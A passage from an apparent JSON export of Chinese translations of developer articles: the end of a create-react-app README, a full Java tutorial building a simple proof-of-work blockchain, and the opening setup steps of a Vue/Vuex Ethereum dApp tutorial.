，是因为当用户调整任何东西时，很难提供一个粘性方案，简单地让整个工具集更新。\n\n**你不一定非要使用。** 纵观历史，[逐渐过渡](https://www.youtube.com/watch?v=BF58ZJ1ZQxY) 到 React 是非常容易的。但是仍有很多人每天从零开始构建单页面 React app。我们注意到一些 [提示](https://medium.com/@ericclemmons/javascript-fatigue-48d4011b6fc4) 和 [反馈](https://twitter.com/thomasfuchs/status/708675139253174273)，特别是如果这是你的第一个 JavaScript 构建栈，这个过程非常繁琐并且容易出错。这个项目是尝试开发 React 应用程序更好的解决方案。\n\n### 转到自定义配置\n\n**如果你是重度用户** 并且对默认配置不满意，你可以从工具中退出，并像样板生成器一样使用它。\n\n运行 `npm run eject` 复制所有依赖文件和相应依赖 (Webpack、Babel、ESLint 等等) 到你的项目，因此完全可控。类似 `npm start` 和 `npm run build` 的命令依旧会工作， 但他们会指向复制的脚本，因此你可以调整。在这一点上，你只能靠自己。\n\n**注: 这是个单向操作。一旦 `eject`，你就回不去啦!**\n\n你可能不需要使用 `eject`。 这个功能集适合中小型部署，而且你不应该感到有义务使用此功能。但是，我们明白如果你无法自定义该工具，那么它将不会有用。\n\n## 限制\n\n一些功能现在是 **不支持的** :\n\n* 服务端渲染。\n* 一些实验语法扩展 (如: 装饰器)。\n* CSS 模块。\n* LESS 或者 Sass。\n* 组件热加载。\n\n如果他们是稳定的，对大多数 React 应用程序有用，不与现有工具冲突，并且不引入额外的配置，它们可能会在未来添加。\n\n## 内部是什么?\n\n创建 React 应用程序使用的技术栈可能还会更改。目前它构建于许多令人惊叹的社区项目的上层，如:\n\n* [webpack](https://webpack.github.io/) 和 [webpack-dev-server](https://github.com/webpack/webpack-dev-server)，[html-webpack-plugin](https://github.com/ampedandwired/html-webpack-plugin) 和 [style-loader](https://github.com/webpack/style-loader)\n* [Babel](http://babeljs.io/) 与 ES6 和 Facebook 使用的扩展 (JSX，[object spread](https://github.com/sebmarkbage/ecmascript-rest-spread/commits/master)，[class properties](https://github.com/jeffmo/es-class-public-fields))\n* [Autoprefixer](https://github.com/postcss/autoprefixer)\n* [ESLint](http://eslint.org/)\n* [Jest](http://facebook.github.io/jest)\n* 其他...\n\n这些都是 npm 包提供的相应依赖。\n\n## 贡献\n\n我们很希望你为 `create-react-app` 提供帮助! 有关我们希望得到什么帮助以及如何开始，请查看[CONTRIBUTING.md](CONTRIBUTING.md)。\n\n## 感谢\n\n我们感谢现有相关项目作者的想法和合作:\n\n* [@eanplatter](https://github.com/eanplatter)\n* [@insin](https://github.com/insin)\n* [@mxstbr](https://github.com/mxstbr)\n\n## 备选项\n\n如果你不同意在这个项目中做出的选择，你可能想探索不同权衡的替代品。有一些更受欢迎和积极维护的项目:\n\n* [insin/nwb](https://github.com/insin/nwb)\n* [mozilla/neo](https://github.com/mozilla/neo)\n* [NYTimes/kyt](https://github.com/NYTimes/kyt)\n* [zeit/next.js](https://github.com/zeit/next.js)\n* [gatsbyjs/gatsby](https://github.com/gatsbyjs/gatsby)\n\n著名的类似项目还包括:\n\n* [enclave](https://github.com/eanplatter/enclave)\n* [motion](https://github.com/motion/motion)\n* [quik](https://github.com/satya164/quik)\n* [sagui](https://github.com/saguijs/sagui)\n* [roc](https://github.com/rocjs/roc)\n* [aik](https://github.com/d4rkr00t/aik)\n* [react-app](https://github.com/kriasoft/react-app)\n* [dev-toolkit](https://github.com/stoikerty/dev-toolkit)\n* [tarec](https://github.com/geowarin/tarec)\n\n你也可以直接使用模块打包工具，像 [webpack](http://webpack.github.io) 和 [Browserify](http://browserify.org/) 。<br>\nReact 文档也包含了这个话题 [a walkthrough](https://facebook.github.io/react/docs/package-management.html) 。\n"
  },
  {
    "path": "TODO/create-simple-blockchain-java-tutorial-from-scratch.md",
    "content": "> * 原文地址：[Creating Your First Blockchain with Java. Part 1](https://medium.com/programmers-blockchain/create-simple-blockchain-java-tutorial-from-scratch-6eeed3cb03fa)\n> * 原文作者：[Kass](https://medium.com/@cryptokass?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/create-simple-blockchain-java-tutorial-from-scratch.md](https://github.com/xitu/gold-miner/blob/master/TODO/create-simple-blockchain-java-tutorial-from-scratch.md)\n> * 译者：[NeoyeElf](https://github.com/NeoyeElf)\n> * 校对者：[yankwan](https://github.com/yankwan)\n\n# 用 Java 创造你的第一个区块链，第一部分。\n\n这系列文章旨在帮助你了解如何使用开发区块链技术。\n\n本文会讲到：\n\n* 创造你的第一个（十分）**基础的‘区块链’**。\n* 实现一个简单的**验证性**（挖矿）系统。\n* **奇迹是有可能发生的**.\n\n( 本文假设你对于[面向对象编程](https://docs.oracle.com/javase/tutorial/java/concepts/)已经有了基本的了解 )\n\n_值得注意的是，文中讲到的并不是一个功能完整，可以上线的区块链系统。相反，这只是一个概念验证性工作，来帮助你理解什么是区块链以便阅读未来的教程._\n\n你可以通过以下方式来支持本文和将来的教程 :)\n\n_btc: 17svYzRv4XJ1Sfi1TSThp3NBFnh7Xsi6fu_\n\n* * *\n\n### 准备工作.\n\n本文准备使用 Java 作为开发语言，但是你应该能够使用任何[面向对象](https://en.wikipedia.org/wiki/Object-oriented_programming)语言来跟着一起学习。我会使用 Eclipse，不过你也可以使用任何其他喜欢的编辑器（ 虽然你会错过很多方便的功能 ）。\n\n你需要：\n\n* 安装 Java 和 JDK。\n* Eclipse ( 或者其他 IDE/编辑器 ).\n\n![](https://cdn-images-1.medium.com/max/800/1*3rE0ahnLzfQ7JHyxNJAH7Q.gif)\n\n你的 eclipse 界面也许会看起来和我的不一样，不过没关系，那是因为我使用了深色主题。\n\n你可以安装 [GSON library by google](https://repo1.maven.org/maven2/com/google/code/gson/gson/2.6.2/gson-2.6.2.jar) (_这是什么 ???_)，当然这是可选项。它可以让我们将 object 转换成 Json \\o/。这是一个超级实用的库，在后面我们也将它用到 peer2peer 上，但你随时可以用一个类似的方法去替换它。\n\n在 Eclipse 中 创建一个 Java 项目(file > new > )。我将我的项目命名为“**noobchain**”，接着创建一个新的同名 _Class_ （**NoobChain**）。\n\n![](https://cdn-images-1.medium.com/max/800/1*VPKiJWgOiZszGvLgPNiqLA.png)\n\n不要想着立马复制我的项目名称哦 ( ͠° ͟ ͜ʖ ͡°)\n\n我们开了个不错的头，可以往下继续了 :)\n\n* * *\n\n### 创造区块链\n\n一个区块链只是一个个区块的链接/列表。区块链中的每一个区块都会有自己的数字签名，前一个区块的数字签名和一些数据（例如一些交易数据）。\n\n![](https://cdn-images-1.medium.com/max/800/1*627BG-7qMtaXNsX0n41C6Q.png)\n\n我希望中本聪永远都不会看到这个.\n\n> **_Hash = Digital Signature._**\n\n**每一个区块不仅仅包含前一个区块的 hash 值，其自己的 hash 值，有一部分是根据前一个区块的 hash 值计算出来的**。如果前一个区块的数据发生了变化，那么前一个区块的 hash 值也会随之变化（因为它有一部分是根据区块的数据进行计算的），并会依次影响所有区块的 hash 值。**通过计算和比较 hash 值，我们可以判断区块链是否合法。**\n\n这意味着什么？修改链中的任意数据，都会改变数字签名，进而**破坏整个区块链**。\n\n#### 那么首先让我们来创建组成区块链的 **Block** 类：\n\n```\nimport java.util.Date;\n\npublic class Block {\n\n\tpublic String hash;\n\tpublic String previousHash;\n\tprivate String data; //我们的数据是一条简单的消息\n\tprivate long timeStamp; //从 1/1/1970 起至现在的总毫秒数.\n\n\t//Block 类的构造方法.\n\tpublic Block(String data,String previousHash ) {\n\t\tthis.data = data;\n\t\tthis.previousHash = previousHash;\n\t\tthis.timeStamp = new Date().getTime();\n\t}\n}\n```\n\n你可以看到，我们的基础 **Block** 类包含一个 `String hash`，它代表了数字签名。`previousHash` 变量为前一个区块的 hash 值，它和 `String data` 组成了这个区块的数据。\n\n#### **接着我们需要一种方法去生成数字签名**，\n\n有很多加密算法可供我们选择，当然 SHA256 算法正好适合我们这个例子。我们可以通过 `import java.security.MessageDigest;` 来使用 SHA256 算法。\n\n我们在 **StringUtil** ‘工具’ _类_ 中创建了一个方便使用的方法，以便在接下来去使用 SHA256 算法：\n\n```\nimport java.security.MessageDigest;\n\npublic class StringUtil {\n\t//使用 Sha256 算法加密一个字符串，返回计算结果\n\tpublic static String applySha256(String input){\t\t\n\t\ttry {\n\t\t\tMessageDigest digest = MessageDigest.getInstance(\"SHA-256\");\t        \n\t\t\t//对输入使用 sha256 算法\n\t\t\tbyte[] hash = digest.digest(input.getBytes(\"UTF-8\"));\t        \n\t\t\tStringBuffer hexString = new StringBuffer(); // 它会包含16进制的 hash 值\n\t\t\tfor (int i = 0; i < hash.length; i++) {\n\t\t\t\tString hex = Integer.toHexString(0xff & hash[i]);\n\t\t\t\tif(hex.length() == 1) hexString.append('0');\n\t\t\t\thexString.append(hex);\n\t\t\t}\n\t\t\treturn hexString.toString();\n\t\t}\n\t\tcatch(Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\t\n}\n```\n\n上面基本上是复制的这篇文章中的方法 [http://www.baeldung.com/sha-256-hashing-java](http://www.baeldung.com/sha-256-hashing-java)\n\n**如果你不理解这个辅助方法的内容，也不用担心。** _你只需要知道，它接受一个字符串作为输入，并对其使用 SHA256 算法，最后将返回的字符串作为数字签名。_ \n\n现在让我们在 **Block** _class_ 中的一个新方法里使用 **applySha256** 辅助方法来计算 hash 值。我们必须根据区块中那些不想被篡改的数据来计算 hash 值。对于本文中的区块，我们会包含 `previousHash`、`data` 和 `timeStamp`。\n\n```\npublic String calculateHash() {\n\tString calculatedhash = StringUtil.applySha256( \n\t\t\tpreviousHash +\n\t\t\tLong.toString(timeStamp) +\n\t\t\tdata \n\t\t\t);\n\treturn calculatedhash;\n}\n```\n\n让我们把这个方法加入到 **Block** _构造方法_ 中去...\n\n```\n\tpublic Block(String data,String previousHash ) {\n\t\tthis.data = data;\n\t\tthis.previousHash = previousHash;\n\t\tthis.timeStamp = new Date().getTime();\n\t\tthis.hash = calculateHash(); //Making sure we do this after we set the other values.\n\t}\n```\n\n#### **是时候做些测试了...**\n\n让我们在主类 **NoobChain** 中新建一些区块对象并将其 hash 值打印到屏幕上，来确保一切工作正常有序。\n\n![](https://cdn-images-1.medium.com/max/800/1*I6k_gZJ0KRZYR4KU22Okig.gif)\n\n开始测试...\n\n第一个区块被命名为起始区块，由于它前面没有区块，所以我们用 “0” 作为其前一个区块的 hash 值。\n\n```\npublic class NoobChain {\n\n\tpublic static void main(String[] args) {\n\t\t\n\t\tBlock genesisBlock = new Block(\"Hi im the first block\", \"0\");\n\t\tSystem.out.println(\"Hash for block 1 : \" + genesisBlock.hash);\n\t\t\n\t\tBlock secondBlock = new Block(\"Yo im the second block\",genesisBlock.hash);\n\t\tSystem.out.println(\"Hash for block 2 : \" + secondBlock.hash);\n\t\t\n\t\tBlock thirdBlock = new Block(\"Hey im the third block\",secondBlock.hash);\n\t\tSystem.out.println(\"Hash for block 3 : \" + thirdBlock.hash);\n\t\t\n\t}\n}\n```\n\n这段程序的输出应该长下面这样：\n\n![](https://cdn-images-1.medium.com/max/800/0*uRnxW_CqB6FqWiUd.png)\n\n由于时间戳不一样，你的 hash 值和我的应该会不同。\n\n现在，每一个区块应该拥有自己的基于区块数据和前一个区块签名计算出来的数字签名\n\n目前，这还并不是区块**链**，所以让我们将区块存储在一个 _ArrayList_ 中并导入 gson 库来将其输出为 Json 字符串。_(_[_点击这里查看如何导入 gson 库_](https://medium.com/@cryptokass/importing-gson-into-eclipse-ec8cf678ad52)_)_\n\n```\nimport java.util.ArrayList;\nimport com.google.gson.GsonBuilder;\n\npublic class NoobChain {\n\t\n\tpublic static ArrayList<Block> blockchain = new ArrayList<Block>(); \n\n\tpublic static void main(String[] args) {\t\n\t\t//将我们的区块加入到区块链 ArrayList 中：\n\t\tblockchain.add(new Block(\"Hi im the first block\", \"0\"));\t\t\n\t\tblockchain.add(new Block(\"Yo im the second block\",blockchain.get(blockchain.size()-1).hash)); \n\t\tblockchain.add(new Block(\"Hey im the third block\",blockchain.get(blockchain.size()-1).hash));\n\t\t\n\t\tString blockchainJson = new GsonBuilder().setPrettyPrinting().create().toJson(blockchain);\t\t\n\t\tSystem.out.println(blockchainJson);\n\t}\n\n}\n```\n\n现在我们的输出应该更加接近我们期望的区块链的样子。\n\n#### 现在我们需要一种方法来检查区块链的完整合法性\n\n让我们在 **NoobChain** _类_ 中新建一个返回值为 _Boolean_ 的 **isChainValid()** 方法，它会循环链中所有的区块并比较其 hash 值。这个方法需要能够检查当前区块的 hash 值和计算出来的 hash 值是否相等以及前一个区块的 hash 值是否等于当前区块存储的 **previousHash** 值。\n\n```\npublic static Boolean isChainValid() {\n\tBlock currentBlock; \n\tBlock previousBlock;\n\t\n\t//循环区块链并检查 hash 值：\n\tfor(int i=1; i < blockchain.size(); i++) {\n\t\tcurrentBlock = blockchain.get(i);\n\t\tpreviousBlock = blockchain.get(i-1);\n\t\t//比较当前区块存储的 hash 值和计算出来的 hash 值：\n\t\tif(!currentBlock.hash.equals(currentBlock.calculateHash()) ){\n\t\t\tSystem.out.println(\"Current Hashes not equal\");\t\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//比较前一个区块存储的 hash 值和当前区块存储的 previousHash 值：\n\t\tif(!previousBlock.hash.equals(currentBlock.previousHash) ) {\n\t\t\tSystem.out.println(\"Previous Hashes not equal\");\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}\n```\n\n对链中的区块做任何改变都会导致这个方法返回 false。\n\n在比特币网络中，区块链被每个节点所共享，最长的合法链会被接受。那么靠什么去阻止某人篡改旧区块中的数据，然后创建一个全新的更长的区块链并将其分享到网络中？**答案是区块链的合法性验证工作量**。 _hashcash_ 的验证工作意味着计算机需要大量的时间和计算能力来创建新的区块。因此，攻击者需要比其他同行拥有更多的计算能力。\n\n![](https://cdn-images-1.medium.com/max/800/1*R_bfhtxuHqM6aJYCZiQA9g.gif)\n\nhashcash, 那需要很大的工作量哦.\n\n### 开始挖矿吧！！！\n\n我们要求 _miners_ 去做验证性工作，**通过在区块中尝试不同的参数值直到其 hash 值以若干个 0 开头。**\n\n让我们新增一个 _int_ 类型的 **nonce** 变量，并将其使用到 **calculateHash()** 方法和十分重要的 **mineBlock()** 方法中：\n\n```\nimport java.util.Date;\n\npublic class Block {\n\t\n\tpublic String hash;\n\tpublic String previousHash; \n\tprivate String data; //我们的数据是一条简单的消息\n\tprivate long timeStamp; //从 1/1/1970 起至现在的总毫秒数.\n\tprivate int nonce;\n\t\n\t//Block 类构造方法.  \n\tpublic Block(String data,String previousHash ) {\n\t\tthis.data = data;\n\t\tthis.previousHash = previousHash;\n\t\tthis.timeStamp = new Date().getTime();\n\t\t\n\t\tthis.hash = calculateHash(); //Making sure we do this after we set the other values.\n\t}\n\t\n\t//根据区块内容计算其新 hash 值\n\tpublic String calculateHash() {\n\t\tString calculatedhash = StringUtil.applySha256( \n\t\t\t\tpreviousHash +\n\t\t\t\tLong.toString(timeStamp) +\n\t\t\t\tInteger.toString(nonce) + \n\t\t\t\tdata \n\t\t\t\t);\n\t\treturn calculatedhash;\n\t}\n\t\n\tpublic void mineBlock(int difficulty) {\n\t\tString target = new String(new char[difficulty]).replace('\\0', '0'); //创建一个用 difficulty * \"0\" 组成的字符串\n\t\twhile(!hash.substring( 0, difficulty).equals(target)) {\n\t\t\tnonce ++;\n\t\t\thash = calculateHash();\n\t\t}\n\t\tSystem.out.println(\"Block Mined!!! : \" + hash);\n\t}\n}\n```\n\n实际上，每个挖矿者会从一个随机点开始迭代计算。一些挖矿者甚至会尝试使用随机数作为 nonce。值得注意的是，更复杂的解决方案的计算值可能会超过 integer 最大值，这时挖矿者可以尝试更改时间戳。\n\n**mineBlock()** 方法接受一个 int 类型的 difficulty 参数，这是程序需要计算处理的 0 的数量。像 1 或 2 这样低难度的 difficulty 值，也许一台计算机就可以解决了。所以我建议将 difficulty 的值设置为 4-6 来做测试。现在莱特币挖矿的 difficulty 值约为 442,592。\n\n让我们在 NoobChain 类中新增一个静态变量 difficulty：\n\n```\npublic static int difficulty = 5;\n```\n\n我们应该更新 **NoobChain** _类_ 去触发每个新区块的 **mineBlock()** _方法_。 返回 _布尔值_ 的 **isChainValid()** 还应检查每个区块（通过挖矿）计算出来的 hash 是否合法。\n\n```\nimport java.util.ArrayList;\nimport com.google.gson.GsonBuilder;\n\npublic class NoobChain {\n\t\n\tpublic static ArrayList<Block> blockchain = new ArrayList<Block>();\n\tpublic static int difficulty = 5;\n\n\tpublic static void main(String[] args) {\t\n\t\t//将我们的区块添加至区块链 ArrayList 中：\n\t\t\n\t\tblockchain.add(new Block(\"Hi im the first block\", \"0\"));\n\t\tSystem.out.println(\"Trying to Mine block 1... \");\n\t\tblockchain.get(0).mineBlock(difficulty);\n\t\t\n\t\tblockchain.add(new Block(\"Yo im the second block\",blockchain.get(blockchain.size()-1).hash));\n\t\tSystem.out.println(\"Trying to Mine block 2... \");\n\t\tblockchain.get(1).mineBlock(difficulty);\n\t\t\n\t\tblockchain.add(new Block(\"Hey im the third block\",blockchain.get(blockchain.size()-1).hash));\n\t\tSystem.out.println(\"Trying to Mine block 3... \");\n\t\tblockchain.get(2).mineBlock(difficulty);\t\n\t\t\n\t\tSystem.out.println(\"\\nBlockchain is Valid: \" + isChainValid());\n\t\t\n\t\tString blockchainJson = new GsonBuilder().setPrettyPrinting().create().toJson(blockchain);\n\t\tSystem.out.println(\"\\nThe block chain: \");\n\t\tSystem.out.println(blockchainJson);\n\t}\n\t\n\tpublic static Boolean isChainValid() {\n\t\tBlock currentBlock; \n\t\tBlock previousBlock;\n\t\tString hashTarget = new String(new char[difficulty]).replace('\\0', '0');\n\t\t\n\t\t//循环区块链来检查 hash 值的合法性：\n\t\tfor(int i=1; i < blockchain.size(); i++) {\n\t\t\tcurrentBlock = blockchain.get(i);\n\t\t\tpreviousBlock = blockchain.get(i-1);\n\t\t\t//比较当前区块存储的 hash 值和计算出来的 hash 值：\n\t\t\tif(!currentBlock.hash.equals(currentBlock.calculateHash()) ){\n\t\t\t\tSystem.out.println(\"Current Hashes not equal\");\t\t\t\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t//比较前一个区块存储的 hash 值和当前区块存储的 previousHash 值：\n\t\t\tif(!previousBlock.hash.equals(currentBlock.previousHash) ) {\n\t\t\t\tSystem.out.println(\"Previous Hashes not equal\");\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t//检查 hash 值是否已经存在\n\t\t\tif(!currentBlock.hash.substring( 0, difficulty).equals(hashTarget)) {\n\t\t\t\tSystem.out.println(\"This block hasn't been mined\");\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}\n}\n```\n\n同时我们还检查了 _isChainValid_ 值，并将其打印出来。\n\n运行这个程序的输出应该像下面这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*qzjPDdgOESJSwDSP0peEEg.png)\n\n对每个区块的计算都需要花费一些时间！ （大约3秒）你应该仔细研究下 difficulty 值，看看它是如何影响每个区块的计算时间的 :)\n\n如果有人试图去**篡改** 😒 你系统中区块链的数据：\n\n* 他们的区块链会变得不合法。\n* 他们将无法创建一个更长的区块链。\n* 网络中合法的区块链在链长度上将会具有时间优势。\n\n**一个被篡改的区块链不会同时合法且具有长度优势的。***\n\n*除非它们的计算速度远远超过网络中所有其他节点的总和。比如有一台未来量子计算机之类的。\n\n### 恭喜你，你已经实现了自己的基础区块链！\n\n![](https://cdn-images-1.medium.com/max/800/1*9K4pVMSdI7A0YZH-g47I2w.gif)\n\n拍拍你自己的肩膀把。\n\n你的区块链：\n\n**> 是由存储数据的一个个区块组成的。**\n\n**> 有一个将你所有的区块串连起来的数字签名。**\n\n**> 对于新加入的区块，需要一系列的挖矿验证性工作去检查其合法性。**\n\n**> 可以检查数据是否合法和是否被篡改。**\n\n你可以在 [Github](https://github.com/CryptoKass/NoobChain-Tutorial-Part-1) 上下载本文的项目。\n\n![](https://cdn-images-1.medium.com/max/800/1*ZbFDb_ml08yDSRXyzhFGxA.gif)\n\n你可以**关注我**，当下个教程和其他区块链开发文章发布时便可以及时得到通知。十分欢迎任何反馈信息。谢谢。\n\n### [Creating Your First Blockchain with Java. Part 2:](https://medium.com/programmers-blockchain/creating-your-first-blockchain-with-java-part-2-transactions-2cdac335e0ce)\n\n下个教程的内容将涉及区块链的**交易**，**签名**和**钱包**。\n\n联系: kassCrypto@gmail.com\n\n**提问**：[https://discord.gg/ZsyQqyk](https://discord.gg/ZsyQqyk) (我在 discord 上的区块链开发者俱乐部)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-2.md",
    "content": "> * 原文地址：[Create your first Ethereum dAPP with Web3 and Vue.JS (Part 2)](https://itnext.io/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-2-52248a74d58a)\n> * 原文作者：[Alt Street](https://itnext.io/@Alt_Street?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-2.md)\n> * 译者：[L9m](https://github.com/L9m)\n> * 校对者：[allen](https://github.com/allenlongbaobao), [玉儿](https://github.com/EmilyQiRabbit)\n\n# 使用 Web3 和 Vue.js 来创建你的第一个以太坊 dAPP（第二部分）\n\n- [使用 Web3 和 Vue.js 来创建你的第一个以太坊 dAPP（第一部分）](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js.md)\n- [使用 Web3 和 Vue.js 来创建你的第一个以太坊 dAPP（第二部分）](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-2.md)\n- [使用 Web3 和 Vue.js 来创建你的第一个以太坊 dAPP（第三部分）](https://github.com/xitu/gold-miner/blob/master/TODO/create-your-first-ethereum-dapp-with-web3-and-vue-js-part-3.md)\n\n[_点此在 LinkedIn 分享本文 »_](https://www.linkedin.com/cws/share?url=https%3A%2F%2Fitnext.io%2Fcreate-your-first-ethereum-dapp-with-web3-and-vue-js-part-2–52248a74d58a)\n\n欢迎回到这个很棒的系列教程的第二部分，在个教程中我们要亲身实践，创建我们的第一个去中心化应用（decentralized application）。在第二部分中，我们将介绍 VueJS 和 VueX 的核心概念以及 web3js 与 metamask 的交互。\n\n如果你错过了第一部分，你可以在下面找到，也请在 Twitter 上关注我们。\n\n![Snipaste_2018-03-18_17-25-07.png](https://i.loli.net/2018/03/18/5aae308c4ce45.png)\n\n### 进入正题：VueJS\n\nVueJS 是一个用于构建用户界面的 JavaScript 框架。初看起来，它类似传统的 mustache（译者注：原文为 moustache）模板，但其实 Vue 在后面做了很多工作。\n\n```\n<div id=”app”>\n {{ message }}\n</div>\n\nvar app = new Vue({\n el: '#app',\n data: {\n message: 'Hello Vue!'\n }\n})\n```\n\n这是一个很基本的 Vue 应用的结构。数据对象中的 message 属性会被渲染到屏幕上 id 为「app」的元素中，当我们改变 message 时，屏幕上的值也会实时更新。你可以去这个 jsfiddle 上查看（开启自动运行）：[https://jsfiddle.net/tn1mfxwr/2/](https://jsfiddle.net/tn1mfxwr/2/)。\n\nVueJS 的另一个重要特征是组件。组件是小的、可复用的并且可嵌套的小段代码。本质上，一个 Web 应用是由较小组件组成的组件树构成的。当我们着手编写我们前端应用时，我们会愈加清楚。\n\n![](https://cdn-images-1.medium.com/max/800/1*9XlTaVitmHopHmQ634kfvg.png)\n\n这个页面示例是由组件构成的。页面由三个组件组成的，其中的两个有子组件。\n\n### 状态的整合: Vuex\n\n我们使用 Vuex 管理应用的状态。类似于 Redux，Vuex 实现了一个对于我们应用数据「单一数据源」的容器。Vuex 允许我们使用一种可预见的方法操作和提供应用程序使用的数据。\n\n它工作的方式是非常直观的。当**组件**需要数据进行渲染时，它会**触发**（dispatch）一个 **action** 获取所需的数据。Action 中获取数据的 API 调用是异步的。一旦取得数据，action 会将数据**提交**（commit）给一个**变化**（mutation）。然后，Mutation 会使得我们容器（store）的**状态发生改变（alert the state）**。当组件使用的容器中的数据改变时，它会重新进行渲染。\n\n![](https://cdn-images-1.medium.com/max/800/1*EPstm-VwycENr4PjutJ0KA.png)\n\nVuex 的状态管理模式。\n\n### **在我们继续之前...**\n\n在第一部分中，我们已经通过 vue-cli 生成了一个 Vue 应用，我们也安装了所需的依赖。如果你没有这样做的话，请查看上面第一部分的链接。\n\n如果你正确完成了各项的话，你的目录看起来应该是这样的：\n\n![](https://cdn-images-1.medium.com/max/800/1*24ZJn3iRu_FZN_Y6E65sgQ.png)\n\n新生成的 vue 应用。\n\n**小提示：如果你要从这里复制粘贴代码段的话，请在你的 _.eslintignore_ 文件中添加 _/src/_，以免出现缩进错误。**\n\n你可以在终端中输入 `npm start` 运行这个应用。首先我们需要清理它包含的这个默认的 Vue 应用。\n**注解：尽管只有一个路由，但是我们还是会使用 Vue Router，虽然我们并不需要，但是因为这个教程相当简单，我想将其保留会更好。**\n**贴士：在你的 Atom 编辑器右下角中将 _.vue_ 文件设置为 HTML 语法（高亮）**\n\n现在处理这个刚生成的应用：\n\n*   在 app.vue 中删除 img 标签和 style 标签中的内容。\n*   删除 _components/HelloWorld.vue_，创建两个名为 casino-dapp.vue（我们的主组件）和 hello-metamask.vue（将包含我们的 Metamask 数据）的两个新文件。\n*   在我们的新 _hello-metamask.vue_ 文件中粘贴下面的代码，它现在只显示了在一个 p 标签内的「hello」文本。\n\n```\n<template>\n <p>Hello</p>\n</template>\n\n<script>\nexport default {\n name: 'hello-metamask'\n}\n</script>\n\n<style scoped>\n\n</style>\n```\n\n*   现在我们首先导入 hello-metamask 组件文件，通过导入文件将其加载到主组件 casino-app 中，然后在我们的 vue 实例中，引用它作为模板中一个标签。在 _casino-dapp.vue_ 中粘贴这些代码：\n\n```\n<template>\n <hello-metamask/>\n</template>\n\n<script>\nimport HelloMetamask from '@/components/hello-metamask'\nexport default {\n name: 'casino-dapp',\n components: {\n 'hello-metamask': HelloMetamask\n }\n}\n</script>\n\n<style scoped>\n\n</style>\n```\n\n*   现在如果你打开 router/index.js 你会看到 root 下只有一个路由，它现在仍指向我们已删除的 HelloWorld.vue 组件。我们需要将其指向我们主组件 casino-app.vue。\n\n```\nimport Vue from 'vue'\nimport Router from 'vue-router'\nimport CasinoDapp from '@/components/casino-dapp'\n\nVue.use(Router)\n\nexport default new Router({\n routes: [\n {\n path: '/',\n name: 'casino-dapp',\n component: CasinoDapp\n }\n ]\n})\n```\n\n关于 Vue Router：你可以增加额外的路径并为其绑定组件，当你访问定义的路径时，在 App.vue 文件中的 router-view 标签中，对应的组件会被渲染，并进行显示。\n\n*   在 _src_ 中创建一个名为 _util_ 的新文件夹，在这个文件夹中创建另一个名为 _constants_ 的新文件夹，并创建一个名为 _networks.js_ 的文件，粘贴下面的代码。我们用 ID 来代替以太坊（Ethereum）网络名称显示，这样做会保持我们代码的整洁。\n\n```\nexport const NETWORKS = {\n '1': 'Main Net',\n '2': 'Deprecated Morden test network',\n '3': 'Ropsten test network',\n '4': 'Rinkeby test network',\n '42': 'Kovan test network',\n '4447': 'Truffle Develop Network',\n '5777': 'Ganache Blockchain'\n}\n```\n\n*   最后的但同样重要的（实际上现在用不到）是，在 _src_ 中创建一个名为 _store_ 的新文件夹。我们将在下一节继续讨论。\n\n如果你在终端中执行 `npm start`，并在浏览器中访问 `localhost:8000`，你应该可以看到「Hello」出现在屏幕上。如果是这样的话，就表示你准备好进入下一步了。\n\n### 设置我们的 Vuex 容器\n\n在这一节中，我们要设置我们的容器（store）。首先从在 _store_ 目录（上一节的最后一部分）下创建两个文件开始：_index.js_ 和 _state.js_；我们先从 _state.js_ 开始，它是我们所检索的数据一个空白表示（Blank representation）。\n\n```\nlet state = {\n web3: {\n isInjected: false,\n web3Instance: null,\n networkId: null,\n coinbase: null,\n balance: null,\n error: null\n },\n contractInstance: null\n}\nexport default state\n```\n\n好了，现在我们要对 _index.js_ 进行设置。我们会导入 Vuex 库并且告诉 VueJS 使用它。我们也会把 state 导入到我们的 store 文件中。\n\n```\nimport Vue from 'vue'\nimport Vuex from 'vuex'\nimport state from './state'\n\nVue.use(Vuex)\n\nexport const store = new Vuex.Store({\n strict: true,\n state,\n mutations: {},\n actions: {}\n})\n```\n\n最后一步是编辑 main.js ，以包含我们的 store 文件：\n\n```\nimport Vue from 'vue'\nimport App from './App'\nimport router from './router'\nimport { store } from './store/'\n\nVue.config.productionTip = false\n\n/* eslint-disable no-new */\nnew Vue({\n el: '#app',\n router,\n store,\n components: { App },\n template: '<App/>'\n})\n```\n\n干得好！因为这里有很多设置，（所以请）给你自己一点鼓励。现在已经准备好通过 web3 API 获取我们 Metamask 的数据，并使其在我们的应用发挥作用了。该来点真的了！\n\n### 入门 